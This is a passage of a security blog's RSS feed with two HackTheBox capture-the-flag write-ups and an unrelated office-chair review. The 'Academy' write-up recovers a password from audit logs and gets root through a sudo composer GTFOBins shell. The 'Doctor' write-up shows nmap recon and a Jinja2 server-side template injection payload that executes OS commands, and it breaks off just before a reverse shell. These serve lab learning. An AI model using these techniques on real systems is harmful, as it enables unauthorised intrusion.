&lt;p&gt;Alright, now as &lt;em&gt;cry0l1t3&lt;/em&gt; let’s do a little &lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot;&gt;Linux privesc&lt;/a&gt; enum. &lt;a href=&quot;https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS&quot;&gt;LinPEAS&lt;/a&gt; is a decent option for this. &lt;a href=&quot;https://man7.org/linux/man-pages/man1/grep.1.html&quot;&gt;Grepping&lt;/a&gt; through the output of this script for different user names on the system I find some interesting results for &lt;em&gt;mrb3n&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1. 08/12/2020 02:28:10 83 0 ? 1 sh &quot;su mrb3n&quot;,&amp;lt;nl&amp;gt;
2. 08/12/2020 02:28:13 84 0 ? 1 su &quot;mrb3n_Ac@d3my!&quot;,&amp;lt;nl&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Alternatively, &lt;em&gt;/var/log/audit/audit.log.3&lt;/em&gt; has some hex encoded data that can be de-encoded to find this same password.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;type=TTY msg=audit(1597199290.086:83): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;sh&quot; data=7375206D7262336E0A
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;su&quot; data=6D7262336E5F41634064336D79210A
type=TTY msg=audit(1597199304.778:89): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm=&quot;sh&quot; data=77686F616D690A
type=TTY msg=audit(1597199308.262:90): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm=&quot;sh&quot; data=657869740A
type=TTY msg=audit(1597199317.622:93): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;sh&quot; data=2F62696E2F62617368202D690A
type=TTY msg=audit(1597199443.421:94): tty pid=2606 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;nano&quot; data=1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D
type=TTY msg=audit(1597199533.458:95): tty pid=2643 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;nano&quot; data=1B5B421B5B411B5B411B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B427F1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D
type=TTY msg=audit(1597199575.087:96): tty pid=2686 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;nano&quot; data=3618790D
type=TTY msg=audit(1597199606.563:97): tty pid=2537 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;bash&quot; data=63611B5B411B5B411B5B417F7F636174206175097C206772657020646174613D0D636174206175097C20637574202D663131202D642220220D1B5B411B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B431B5B436772657020646174613D207C200D1B5B41203E202F746D702F646174612E7478740D69640D6364202F746D700D6C730D6E616E6F2064090D636174206409207C207878092D72202D700D6D617F7F7F6E616E6F2064090D6361742064617409207C20787864202D7220700D1B5B411B5B442D0D636174202F7661722F6C6F672F61750974097F7F7F7F7F7F6409617564097C206772657020646174613D0D1B5B411B5B411B5B411B5B411B5B411B5B420D1B5B411B5B411B5B410D1B5B411B5B411B5B410D657869747F7F7F7F686973746F72790D657869740D
type=TTY msg=audit(1597199606.567:98): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;sh&quot; data=657869740A
type=TTY msg=audit(1597199610.163:107): tty pid=2709 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;sh&quot; data=2F62696E2F62617368202D690A
type=TTY msg=audit(1597199616.307:108): tty pid=2712 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;bash&quot; data=6973746F72790D686973746F72790D657869740D
type=TTY msg=audit(1597199616.307:109): tty pid=2709 uid=1002 auid=0 ses=1 major=4 minor=1 comm=&quot;sh&quot; data=657869740A
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using those creds I can now login as &lt;em&gt;mrb3n&lt;/em&gt;. Running &lt;em&gt;sudo -l&lt;/em&gt; as this new user I see a binary I can run as super user.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;mrb3n: mrb3n_Ac@d3my!

Matching Defaults entries &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;mrb3n on academy:
    env_reset, mail_badpass,
    &lt;span class=&quot;nv&quot;&gt;secure_path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/snap/bin

User mrb3n may run the following commands on academy:
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; /usr/bin/composer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Throwing this into Google I see a nice little &lt;a href=&quot;https://gtfobins.github.io/gtfobins/composer/&quot;&gt;GTFOBin&lt;/a&gt;. Let’s try it out.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ TF=$(mktemp -d)
TF=$(mktemp -d)
$ echo &apos;{&quot;scripts&quot;:{&quot;x&quot;:&quot;/bin/sh -i 0&amp;lt;&amp;amp;3 1&amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;}}&apos; &amp;gt;$TF/composer.json
echo &apos;{&quot;scripts&quot;:{&quot;x&quot;:&quot;/bin/sh -i 0&amp;lt;&amp;amp;3 1&amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;}}&apos; &amp;gt;$TF/composer.json
$ sudo composer --working-dir=$TF run-script x
sudo composer --working-dir=$TF run-script x
[sudo] password for mrb3n: mrb3n_Ac@d3my!

PHP Warning:  PHP Startup: Unable to load dynamic library &apos;mysqli.so&apos; (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning:  PHP Startup: Unable to load dynamic library &apos;pdo_mysql.so&apos; (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
&amp;gt; /bin/sh -i 0&amp;lt;&amp;amp;3 1&amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3
# whoami
whoami
root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;YAY! Root.&lt;/p&gt;
</description>
        <pubDate>Sun, 28 Feb 2021 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/htb-academy</link>
        <guid isPermaLink="true">https://shellsharks.com/htb-academy</guid>
        
        <category>infosec</category>
        
        <category>hackthebox</category>
        
        <category>pentesting</category>
        
        <category>appsec</category>
        
        <category>metasploit</category>
        
        <category>red</category>
        
        <category>burp</category>
        
        <category>kali</category>
        
        <category>nmap</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Herman Miller Logitech Embody Review</title>
        <shark:summary><p>Like many of us these days (in the pandemic-age), I spend a large portion of any given week <em>sitting</em> in my home-office at my desk. For too long I had resigned myself to sitting in a chair that featured no customization, no back support and no particular ergonomic advantages. Given the time I spend in a chair, I decided I need an upgrade and resolved to find an amazing chair, no matter the cost.</p>
</shark:summary>
        <description>&lt;p&gt;Like many of us these days (in the pandemic-age), I spend a large portion of any given week &lt;em&gt;sitting&lt;/em&gt; in my home-office at my desk. For too long I had resigned myself to sitting in a chair that featured no customization, no back support and no particular ergonomic advantages. Given the time I spend in a chair, I decided I need an upgrade and resolved to find an amazing chair, no matter the cost.&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;
&lt;b&gt;TL;DR&lt;/b&gt;: The &lt;a href=&quot;https://store.hermanmiller.com/gaming/herman-miller-x-logitech-g-embody-gaming-chair/2517590.html?lang=en_US&quot;&gt;Logitech G Embody&lt;/a&gt; has a critical design flaw which results in the chair being very uncomfortable to sit in. This flaw makes this chair a no-go at any price, much less $1500.
&lt;/div&gt;

&lt;p&gt;In my search for the best possible chair, I consistently came across positive reviews for chairs from &lt;a href=&quot;https://www.hermanmiller.com&quot;&gt;Herman Miller&lt;/a&gt;. Specifically, the &lt;a href=&quot;https://www.hermanmiller.com/products/seating/office-chairs/aeron-chairs/&quot;&gt;Aeron&lt;/a&gt; and the &lt;a href=&quot;https://www.hermanmiller.com/products/seating/office-chairs/embody-chairs/&quot;&gt;Embody&lt;/a&gt; were two models that I saw mentioned again and again. After seeing pictures of the Embody, I fell in love with the design (specifically the cool-looking back of the chair). It was then of course that I then discovered the &lt;strong&gt;&lt;a href=&quot;https://store.hermanmiller.com/gaming/herman-miller-x-logitech-g-embody-gaming-chair/2517590.html?lang=en_US&quot;&gt;Logitech variant&lt;/a&gt;&lt;/strong&gt; of the traditional Embody chair. Right off the bat though, the problem with this chair is the price. $1500… For a chair… But! My mission was to find the best chair for me, and I wasn’t going to let the cost be too much of an obstacle.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/hermanmiller/Screen+Shot+2021-02-07+at+1.15.23+AM.png&quot; alt=&quot;Price&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The Logitech version of the chair features the same design and features of the regular version but now sports an “&lt;em&gt;enhanced gaming seat&lt;/em&gt;” (ironic as I’ll soon find out), which is basically an added layer of cushion on the bottom as well as a copper-infused “cooling” foam embedded within that seat cushion. Couple these added comfort features with (awesome) blue color accents unique to the Logitech version of this chair and I was sold. Yes, this chair costs $1500. But surely this is a worthy investment if it makes sitting for extended periods of time both enjoyable, comfortable and better-for-me right?!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/hermanmiller/Screen+Shot+2021-02-12+at+8.53.27+PM.png&quot; alt=&quot;Picture of Chair&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;the-review&quot;&gt;The Review&lt;/h1&gt;

&lt;p&gt;The chair arrives in a massive box, completely assembled. You need only open the box and roll it on out - sweet! That said, the chair has a certain heft to it and carrying up a few flights of stairs to my office took a bit of effort. Once I did get it in front of my desk though, I took a step back to admire it. If nothing else, it certainly looked cool! (Please ignore my poor cable-management.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/hermanmiller/IMG_1426.jpeg&quot; alt=&quot;Desk Shot w/ chair&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With the chair in place, I sat down and ran through Herman Miller’s &lt;a href=&quot;https://www.hermanmiller.com/content/dam/hermanmiller/documents/user_information/herman_miller_x_logitech_g_embody_gaming_chair_adjustment_guide.pdf&quot;&gt;adjustment guide&lt;/a&gt; to get it tweaked to my liking. With the first (fully adjusted) sit, my initial opinion was… “&lt;em&gt;the chair seems comfortable, maybe not $1500 comfortable, but comfortable all the same&lt;/em&gt;.” But as I would find out, first impressions only go so far…&lt;/p&gt;

&lt;p&gt;Before I get to what I didn’t like about this chair, let me gush about what it gets right. The seat-back is in my mind the best part of this chair. Moving beyond it’s unique and interesting design, the PostureFit / BackFit spinal support tech built into the back of this chair feels really good. It not only supports your back in a way that is very comforting but it flexes and moves as you do which helps maintain this support as you change posture or wiggle about in the chair. &lt;strong&gt;But&lt;/strong&gt;(t)!, (pun intended) the seat itself, the bottom of this chair, is where things begin to fail.&lt;/p&gt;

&lt;p&gt;The Logitech variant of the Embody chair features an “enhanced gaming seat”, the main feature of which is an added 1/2-inch layer of copper-infused cooling foam. What’s not to like about a little extra cooling-cush for your tush right? Among the many adjustment options this chair supports, there is the ability to extend the &lt;em&gt;seat depth&lt;/em&gt;. The problem here is when you extend the seat (which those who are a little taller would likely want to do), the added foam is not extended as well. The result is a very pronounced &lt;strong&gt;end&lt;/strong&gt; to the foam which may not seem like much when you first sit down but as time passes, I began to &lt;em&gt;feel&lt;/em&gt; the divide between the normal cushioned part of the chair and the extended, non-cushioned part of the chair. After sitting in the chair a while, I began to feel what seemed like a bar, jutting into my legs and running across the underside of my thighs. It was only after disconnecting the seat flap and inspecting the underside of the seat that I realized it was this exact boundary line where I was feeling the protrusion.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/hermanmiller/IMG_1428.jpeg&quot; alt=&quot;Seat Flap Foam&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The irony here of course is that the &lt;strong&gt;one&lt;/strong&gt; (functional) added feature made to the Logitech version of this chair, the “enhanced gaming seat” is also the feature which dooms it (in my opinion). Though I haven’t tried the Embody classic, I would suspect it doesn’t suffer this or any similar design flaw. Only after I made this unfortunate discovery did I find reviews of the chair on Herman Miller’s website lamenting the same problem…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/hermanmiller/Screen+Shot+2021-02-07+at+1.50.49+AM.png&quot; alt=&quot;Review 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/hermanmiller/Screen+Shot+2021-02-07+at+1.52.56+AM.png&quot; alt=&quot;Review 2&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Backing up for a second. After I determined the chair was uncomfortable due to the “protruding bar-like sensation” but before I realized why exactly I was feeling that, I contacted Herman Miller support, explaining the discomfort. This is the response I received…&lt;/p&gt;

&lt;p&gt;“&lt;em&gt;Sorry for the delay. You’re feeling the extra cushion. There is no defect in the chair. That’s just the way the fabric and extra cushion were designed.&lt;/em&gt;”&lt;/p&gt;

&lt;p&gt;Well alright then, it’s definitely a feature not a bug!&lt;/p&gt;

&lt;h3 id=&quot;pros&quot;&gt;Pros&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;Awesome design. Will definitely look cool in your work-space.&lt;/li&gt;
  &lt;li&gt;Ergonomics of the seat-back were really fantastic. Lower-back support and it’s adherence to my spine seemed uniquely impressive.&lt;/li&gt;
  &lt;li&gt;The chair is very adjustable. (Arm height and width, back fit, seat depth, seat height, etc…)&lt;/li&gt;
  &lt;li&gt;Smaller profile seat-back made swiveling my legs out from under my desk easier as I did not have to push the chair out from under the desk in order to get out of the chair.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;cons&quot;&gt;Cons&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;Foam padding does not extend all the way to the front of the chair. This makes sitting in the chair very uncomfortable.&lt;/li&gt;
  &lt;li&gt;Seat bottom is generally uncomfortable.&lt;/li&gt;
  &lt;li&gt;Arm rests are clunky, a little wonky to adjust and are too easily pushed out or in with accidental pressure.&lt;/li&gt;
  &lt;li&gt;The chair is very creaky/noisy.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;an-attempt-to-fix-the-chair&quot;&gt;An Attempt to Fix the Chair&lt;/h1&gt;

&lt;p&gt;I spent $1500 on this piece and despite Herman Miller’s lack-of-support from their support staff, I still liked enough about it that I felt compelled to try and fix the fundamental flaw plaguing this chair if could. From my previous dissection, I knew I had access to the underside of the seat flap where the built-in padding was. My proposed solution was to buy a &lt;a href=&quot;https://www.amazon.com/gp/product/B08D8Z1BJR/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;1/2 inch-thich foam yoga mat&lt;/a&gt; and cut a piece of it to fit the portion of the extended seat that was foam-less. You can look in wonder upon this brilliance below…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/hermanmiller/IMG_1427.jpeg&quot; alt=&quot;Extra foam&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, even with this addition, after some time I still felt that same uncomfortable divide. Perhaps the newly introduced foam wasn’t quite the same thickness? Or maybe the yoga mat depressed a different amount than the built-in foam? In any case, the chair was still equally uncomfortable. In the end, I take solace in knowing I tried to make it work, but in the end, the &lt;em&gt;enhanced seat cushion&lt;/em&gt; did not only fail to enhance the chair, it was in fact the dealbreaker. Luckily enough, Herman Miller has a good &lt;a href=&quot;https://store.hermanmiller.com/returns.html?lang=en_US&quot;&gt;return policy&lt;/a&gt;. Just remember to keep the box and packaging materials it came with!&lt;/p&gt;

&lt;h1 id=&quot;moving-on&quot;&gt;Moving On&lt;/h1&gt;

&lt;p&gt;So my quest continues. After resolving to return the Embody, I did more chair research and stumbled across the oft-reviewed chairs from &lt;a href=&quot;https://secretlab.co&quot;&gt;SecretLab&lt;/a&gt;. Perusing the site, I decided on trying out the &lt;a href=&quot;https://secretlab.co/collections/titan-series#titan_2020_softweave-charcoal_blue&quot;&gt;Secretlab TITAN&lt;/a&gt;. I’m actually sitting in this chair as I finish typing out the Embody review! I’ll post an update if this chair ends up being the one for me.&lt;/p&gt;
</description>
        <pubDate>Fri, 12 Feb 2021 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/herman-miller-logitech-embody-review</link>
        <guid isPermaLink="true">https://shellsharks.com/herman-miller-logitech-embody-review</guid>
        
        <category>life</category>
        
        <category>desksetup</category>
        
        <category>technology</category>
        
        <category>review</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>HackTheBox: Doctor</title>
        <shark:summary><p>This is the <strong>first</strong> in a series of <a href="https://www.hackthebox.eu/">HackTheBox</a> write-ups I intend on producing. You’ll find that my walkthrough style is very “to-the-point”, with a sprinkling of commentary on my thought process as well as some of the things I tried <em>first</em> before actually figuring out the next step in the exploitation chain.</p>
</shark:summary>
        <description>&lt;p&gt;This is the &lt;strong&gt;first&lt;/strong&gt; in a series of &lt;a href=&quot;https://www.hackthebox.eu&quot;&gt;HackTheBox&lt;/a&gt; write-ups I intend on producing. You’ll find that my walkthrough style is very “to-the-point”, with a sprinkling of commentary on my thought process as well as some of the things I tried &lt;em&gt;first&lt;/em&gt; before actually figuring out the next step in the exploitation chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;em&gt;These write-ups assume you have familiarity with HackTheBox, know how to get an account and understand how to connect to the individual boxes themselves over the HtB VPN.&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#reconnaissance--foothold&quot;&gt;Reconnaissance &amp;amp; Foothold&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#user-flag&quot;&gt;User&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#root-flag&quot;&gt;Root&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#wrap-up&quot;&gt;Outro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;doctor&quot;&gt;Doctor&lt;/h1&gt;

&lt;p&gt;For this first box, I went with “&lt;a href=&quot;https://www.hackthebox.eu/home/machines/profile/278&quot;&gt;Doctor&lt;/a&gt;”. This Linux system was rated “Easy” by HackTheBox and rated closer to a “Medium” difficulty by HackTheBox users.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/htb-doctor.png&quot; alt=&quot;HTB-DOCTOR&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;reconnaissance--foothold&quot;&gt;Reconnaissance &amp;amp; Foothold&lt;/h1&gt;

&lt;p&gt;First, I verified connectivity to the target system with the following command. This is &lt;a href=&quot;https://nmap.org&quot;&gt;NMAP&lt;/a&gt;’s &lt;a href=&quot;https://nmap.org/book/man-host-discovery.html&quot;&gt;Ping Scan&lt;/a&gt; flag (&lt;em&gt;-sn&lt;/em&gt;) which performs a couple different types of pings (e.g. ICMP, TCP, etc…)&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap &lt;span class=&quot;nt&quot;&gt;-sn&lt;/span&gt; 10.10.10.209
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/ping.png&quot; alt=&quot;NMAP PING&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once I verified connectivity, I did a quick SYN (&lt;a href=&quot;https://nmap.org/book/synscan.html&quot;&gt;-sS&lt;/a&gt;) port / service discovery scan also using NMAP (sticking with just the &lt;a href=&quot;https://nmap.org/book/nmap-services.html&quot;&gt;default NMAP ports&lt;/a&gt;).&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-sS&lt;/span&gt; 10.10.10.209 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/servicescan.png&quot; alt=&quot;NMAP Service&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TIP&lt;/strong&gt;: You’ll notice I used &lt;em&gt;sudo&lt;/em&gt; for this specific NMAP command. This is required when sending raw network traffic which happens by default with the command as written above.&lt;/p&gt;

&lt;p&gt;With this scan, I’ve identified ports &lt;em&gt;22&lt;/em&gt;, &lt;em&gt;80&lt;/em&gt; and &lt;em&gt;8809&lt;/em&gt;. The web server (listening on port 80) would be the natural place to start snooping around but the service (&lt;em&gt;Splunkd&lt;/em&gt; httpd) listening on 8089 drew my attention first as it isn’t something I see every day.&lt;/p&gt;

&lt;p&gt;The service listening on this port is a web server and hosted something clearly Splunk-related. At first glance, I noticed there is a version number (&lt;em&gt;8.0.5&lt;/em&gt;) visible as well as some links that could prove interesting (named - “&lt;em&gt;rpc&lt;/em&gt;”, “&lt;em&gt;services&lt;/em&gt;”, “&lt;em&gt;servicesNS&lt;/em&gt;” and “&lt;em&gt;static&lt;/em&gt;”, respectively). Clicking on some of these gave me a password modal that after a few standard password guess attempts yielded no further entry. I poked around this web server a bit more but couldn’t find anything that helped push me forward so I decided to check out the web server on port 80 I had discovered earlier.&lt;/p&gt;

&lt;p&gt;Having turned my attention to the web server on port 80 (&lt;em&gt;http://10.10.10.209&lt;/em&gt;)., I began an initial high-level recon sweep… no &lt;em&gt;robots.txt&lt;/em&gt;, no obvious third party web app libraries/components in use (after viewing source and clicking on all the visible links) and no obvious injection points or form fields to abuse…hmm…&lt;/p&gt;

&lt;p&gt;What I did notice was the domain &lt;strong&gt;info@doctors.htb&lt;/strong&gt; on the main page. Adding the line “&lt;em&gt;10.10.10.209 doctors.htb&lt;/em&gt;” to my &lt;em&gt;/etc/hosts&lt;/em&gt; file, I was then able to navigate to the virtual host &lt;em&gt;http://doctors.htb&lt;/em&gt; where I found some new functionality. What I found was a portal titled “Doctor Secure Messaging”. After registering a user, I was then then able to create a “message” via the “New Message” link in the top right of the portal. Posting this message did nothing particularly interesting and trying a few basic injection payloads in the message form fields didn’t seem to do much either as the messages themselves we’re not reflected back to the &lt;em&gt;http://doctors.htb/home&lt;/em&gt; page.&lt;/p&gt;

&lt;p&gt;When viewing the source of the &lt;em&gt;/home&lt;/em&gt; page I noticed an interesting nugget - the comment “&lt;em&gt;&amp;lt;!-archive still under beta testing&lt;/em&gt;“…&lt;/p&gt;

&lt;p&gt;Navigating to &lt;em&gt;doctors.htb/archive&lt;/em&gt; page I find merely a blank page. Viewing the source of this page, I see an XML-based RSS feed where the data from the title fields of the messages from the previous functionality have been reflected. This is shown below…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/rss.png&quot; alt=&quot;RSS CHANNEL&quot; /&gt;&lt;/p&gt;

&lt;p&gt;OK, so this is definitely where the box got a little tricky for me and based on the forum posts for this particular system, where it got tricky for a lot of other HackTheBox-ers. Fortunately, some small bit of my past web-app pentesting experience would ultimately come in handy for figuring out how to exploit this particular component.&lt;/p&gt;

&lt;p&gt;At first, I wasn’t exactly sure what to do so I resorted to just throwing &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2&quot;&gt;injection payloads&lt;/a&gt; at the title field of the messaging component until something stuck. Some time later, I saw one of my payloads, {{10*10}} evaluate on the &lt;em&gt;/archive&lt;/em&gt; page to “100”. It was here, with this payload, I was reminded of an injection-class I had previously found on a penetration test - specifically, &lt;a href=&quot;https://portswigger.net/research/server-side-template-injection&quot;&gt;Server Side Template Injection&lt;/a&gt; (SSTI). So, i started spamming some SSTI payloads. After some time, and plenty of googling - I came across the following blog post https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/ which housed a payload that worked for me.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\{\{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;hostname&apos;).read()\}\}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Throwing this payload into the messages “title” field, I get some code execution and output of the command in the &lt;em&gt;/archive&lt;/em&gt; as shown below. As you can see, we can now run code on the host “Doctor”!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb-doctor/idcommand.png&quot; alt=&quot;HOSTNAME&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After confirming I could indeed execute arbitrary commands, I wanted to get a reverse shell in order to more easily peruse the file system, escalate privileges, etc… To do so, I spun up a &lt;a href=&quot;http://netcat.sourceforge.net&quot;&gt;netcat&lt;/a&gt; listener using “&lt;em&gt;nc -nlvp 4444&lt;/em&gt;” on my host system and then dropped the following reverse shell into the previous injection payload.&lt;/p&gt;

